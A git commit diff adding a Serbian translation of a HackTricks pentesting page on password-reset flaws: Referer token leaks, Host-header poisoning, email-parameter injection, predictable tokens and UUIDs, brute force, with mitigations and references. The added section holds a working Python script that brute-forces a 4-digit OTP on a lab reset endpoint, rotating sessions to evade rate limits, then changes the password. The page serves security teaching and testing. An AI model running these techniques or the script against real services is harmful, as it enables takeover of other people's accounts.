Translated ['src/pentesting-web/reset-password.md'] to sr

This commit is contained in:
Translator 2025-04-13 14:42:46 +00:00
parent 38e19e12b0
commit 7b0830c148

View File

@ -2,11 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
## **Curčenje Tokena za Resetovanje Lozinke Putem Referrer-a**
## **Curčenje Tokena za Resetovanje Lozinke Putem Referrera**
- HTTP referer header može curiti token za resetovanje lozinke ako je uključen u URL. Ovo se može desiti kada korisnik klikne na link treće strane nakon što zatraži resetovanje lozinke.
- HTTP referer header može curiti token za resetovanje lozinke ako je uključen u URL. To se može desiti kada korisnik klikne na link treće strane nakon što zatraži resetovanje lozinke.
- **Uticaj**: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada.
- **Eksploatacija**: Da biste proverili da li token za resetovanje lozinke curi u referer header-u, **zatražite resetovanje lozinke** na vašu email adresu i **kliknite na link za resetovanje** koji je dostavljen. **Ne menjajte svoju lozinku** odmah. Umesto toga, **navigirajte na sajt treće strane** (kao što su Facebook ili Twitter) dok **presrećete zahteve koristeći Burp Suite**. Istražite zahteve da vidite da li **referer header sadrži token za resetovanje lozinke**, jer ovo može izložiti osetljive informacije trećim stranama.
- **Eksploatacija**: Da biste proverili da li token za resetovanje lozinke curi u referer header-u, **zatražite resetovanje lozinke** na vašu email adresu i **kliknite na link za resetovanje** koji je dostavljen. **Ne menjajte svoju lozinku** odmah. Umesto toga, **navigirajte na veb sajt treće strane** (kao što su Facebook ili Twitter) dok **presrećete zahteve koristeći Burp Suite**. Istražite zahteve da vidite da li **referer header sadrži token za resetovanje lozinke**, jer to može izložiti osetljive informacije trećim stranama.
- **Reference**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
@ -14,18 +14,18 @@
## **Trovanje Resetovanja Lozinke**
- Napadači mogu manipulisati Host header-om tokom zahteva za resetovanje lozinke kako bi usmerili link za resetovanje na zloćudni sajt.
- Napadači mogu manipulisati Host header-om tokom zahteva za resetovanje lozinke kako bi usmerili link za resetovanje na zlonamerni sajt.
- **Uticaj**: Dovodi do potencijalnog preuzimanja naloga curenjem reset tokena napadačima.
- **Koraci za ublažavanje**:
- Validirati Host header u odnosu na belu listu dozvoljenih domena.
- Koristiti sigurne, server-side metode za generisanje apsolutnih URL-ova.
- **Zakrpiti**: Koristiti `$_SERVER['SERVER_NAME']` za konstrukciju URL-ova za resetovanje lozinke umesto `$_SERVER['HTTP_HOST']`.
- Validirajte Host header u odnosu na belu listu dozvoljenih domena.
- Koristite sigurne, server-side metode za generisanje apsolutnih URL-ova.
- **Zakrpiti**: Koristite `$_SERVER['SERVER_NAME']` za konstrukciju URL-ova za resetovanje lozinke umesto `$_SERVER['HTTP_HOST']`.
- **Reference**:
- [Acunetix Članak o Trovanju Resetovanja Lozinke](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Resetovanje Lozinke Manipulacijom Email Parametra**
Napadači mogu manipulirati zahtevom za resetovanje lozinke dodavanjem dodatnih email parametara kako bi skrenuli link za resetovanje.
Napadači mogu manipulisati zahtevom za resetovanje lozinke dodavanjem dodatnih email parametara kako bi skrenuli link za resetovanje.
- Dodajte email napadača kao drugi parametar koristeći &
```php
@ -77,9 +77,9 @@ POST /resetPassword
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Menjanje email-a i lozinke bilo kog korisnika putem API parametara**
## **Promena email-a i lozinke bilo kog korisnika putem API parametara**
- Napadači mogu modifikovati email i lozinku parametre u API zahtevima kako bi promenili akreditive naloga.
- Napadači mogu modifikovati email i lozinku u API zahtevima kako bi promenili akreditive naloga.
```php
POST /api/changepass
[...]
@ -89,23 +89,23 @@ POST /api/changepass
- Osigurati strogu validaciju parametara i provere autentifikacije.
- Implementirati robusno logovanje i praćenje kako bi se otkrile i reagovalo na sumnjive aktivnosti.
- **Reference**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
- [Potpuno preuzimanje naloga putem manipulacije API parametrima](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Nema ograničenja brzine: Email bombardovanje**
- Nedostatak ograničenja brzine na zahtevima za resetovanje lozinke može dovesti do bombardovanja email-ova, preplavljujući korisnika reset email-ovima.
- Nedostatak ograničenja brzine na zahtevima za resetovanje lozinke može dovesti do bombardovanja korisnika reset emailovima.
- **Koraci za ublažavanje**:
- Implementirati ograničenje brzine na osnovu IP adrese ili korisničkog naloga.
- Koristiti CAPTCHA izazove kako bi se sprečila automatska zloupotreba.
- **Reference**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
- [HackerOne izveštaj 280534](https://hackerone.com/reports/280534)
## **Saznajte kako se generiše token za resetovanje lozinke**
- Razumevanje obrasca ili metode iza generacije tokena može dovesti do predviđanja ili brute-forcing tokena. Neke opcije:
- Na osnovu vremenskog pečata
- Na osnovu UserID-a
- Na osnovu email-a korisnika
- Na osnovu UserID
- Na osnovu emaila korisnika
- Na osnovu imena i prezimena
- Na osnovu datuma rođenja
- Na osnovu kriptografije
@ -116,47 +116,47 @@ POST /api/changepass
## **Pogodna UUID**
- Ako su UUID-ovi (verzija 1) pogodivi ili predvidivi, napadači mogu da ih brute-force-uju kako bi generisali važeće reset tokene. Proverite:
- Ako su UUID-ovi (verzija 1) pogodivi ili predvidivi, napadači ih mogu brute-force-ovati kako bi generisali važeće reset tokene. Proverite:
{{#ref}}
uuid-insecurities.md
{{#endref}}
- **Koraci za ublažavanje**:
- Koristiti GUID verziju 4 za nasumičnost ili implementirati dodatne bezbednosne mere za druge verzije.
- Koristiti GUID verziju 4 za nasumičnost ili implementirati dodatne sigurnosne mere za druge verzije.
- **Alati**: Koristiti [guidtool](https://github.com/intruder-io/guidtool) za analizu i generisanje GUID-ova.
## **Manipulacija odgovorom: Zamenite loš odgovor dobrim**
## **Manipulacija odgovorom: Zamena lošeg odgovora dobrim**
- Manipulacija HTTP odgovorima kako bi se zaobišle poruke o grešci ili ograničenja.
- **Koraci za ublažavanje**:
- Implementirati provere na serverskoj strani kako bi se osigurala integritet odgovora.
- Koristiti sigurne komunikacione kanale kao što je HTTPS kako bi se sprečili napadi "man-in-the-middle".
- **Reference**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
- [Kritična greška u Live Bug Bounty događaju](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Korišćenje istekao tokena**
- Testiranje da li se istekao token i dalje može koristiti za resetovanje lozinke.
- Testiranje da li se istekao token još uvek može koristiti za resetovanje lozinke.
- **Koraci za ublažavanje**:
- Implementirati stroge politike isteka tokena i validirati isteak tokena na serverskoj strani.
- Implementirati stroge politike isteka tokena i validirati istekao token na serverskoj strani.
## **Brute Force token za resetovanje lozinke**
- Pokušaj brute-force-a reset tokena koristeći alate kao što su Burpsuite i IP-Rotator kako bi se zaobišla ograničenja brzine zasnovana na IP-u.
- Pokušaj brute-force-a reset tokena koristeći alate kao što su Burpsuite i IP-Rotator kako bi se zaobišla IP-bazirana ograničenja brzine.
- **Koraci za ublažavanje**:
- Implementirati robusno ograničenje brzine i mehanizme zaključavanja naloga.
- Pratiti sumnjive aktivnosti koje ukazuju na brute-force napade.
## **Pokušajte koristiti svoj token**
- Testiranje da li se napadačev reset token može koristiti u kombinaciji sa email-om žrtve.
- Testiranje da li se napadačev reset token može koristiti u kombinaciji sa emailom žrtve.
- **Koraci za ublažavanje**:
- Osigurati da su tokeni vezani za korisničku sesiju ili druge korisničke atribute.
## **Nevaženje sesije prilikom odjave/resetovanja lozinke**
- Osigurati da se sesije nevaže kada se korisnik odjavi ili resetuje svoju lozinku.
- Osigurati da se sesije nevaže kada se korisnik odjavi ili resetuje lozinku.
- **Koraci za ublažavanje**:
- Implementirati pravilno upravljanje sesijama, osiguravajući da se sve sesije nevaže prilikom odjave ili resetovanja lozinke.
@ -166,6 +166,70 @@ uuid-insecurities.md
- **Koraci za ublažavanje**:
- Postaviti razumno vreme isteka za reset tokene i strogo ga sprovoditi na serverskoj strani.
## **Zaobilaženje ograničenja brzine OTP-a promenom sesije**
- Ako veb sajt koristi korisničku sesiju za praćenje pogrešnih OTP pokušaja i OTP je slab (<= 4 cifre), onda možemo efikasno brute-force-ovati OTP.
- **eksploatacija**:
- samo zatražite novi token sesije nakon što vas server blokira.
- **Primer** koda koji eksploatiše ovu grešku nasumičnim pogađanjem OTP-a (kada promenite sesiju, OTP će se takođe promeniti, i tako nećemo moći sekvencijalno da ga brute-force-ujemo!):
``` python
# Zaobilaženje autentifikacije putem resetovanja lozinke
# od coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Počinjem napad!")
sleep(3)
print("[+] Ovo može potrajati oko 5 minuta da se završi!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # nasumičan broj od 0 - 9999 sa 4 cifre
parms["s"] = 164 # nije važno, samo utiče na frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # pratiti broj pokušaja
out = requests.get(logout,headers=headers) # odjavljuje vas
mainp = requests.get(root) # dobija još jedan phpssid (token)
cookies = out.cookies # ekstraktuje sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # ažurira zaglavlja sa novom sesijom
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # šalje email za promenu lozinke
ter = 0 # resetuje ter da dobijemo novu sesiju nakon 8 pokušaja
else:
ter += 1
if(len(res.text) == 2292): # ovo je dužina stranice kada ispravno dobijete kod za oporavak (dobijeno testiranjem)
print(len(res.text)) # za debug informacije
print(phpsessid)
reset_data = { # ovde ćemo promeniti lozinku na nešto novo
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Lozinka je promenjena na:D37djkamd!")
break
except Exception as e:
print("[+] Napad je zaustavljen")
```
## Reference
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)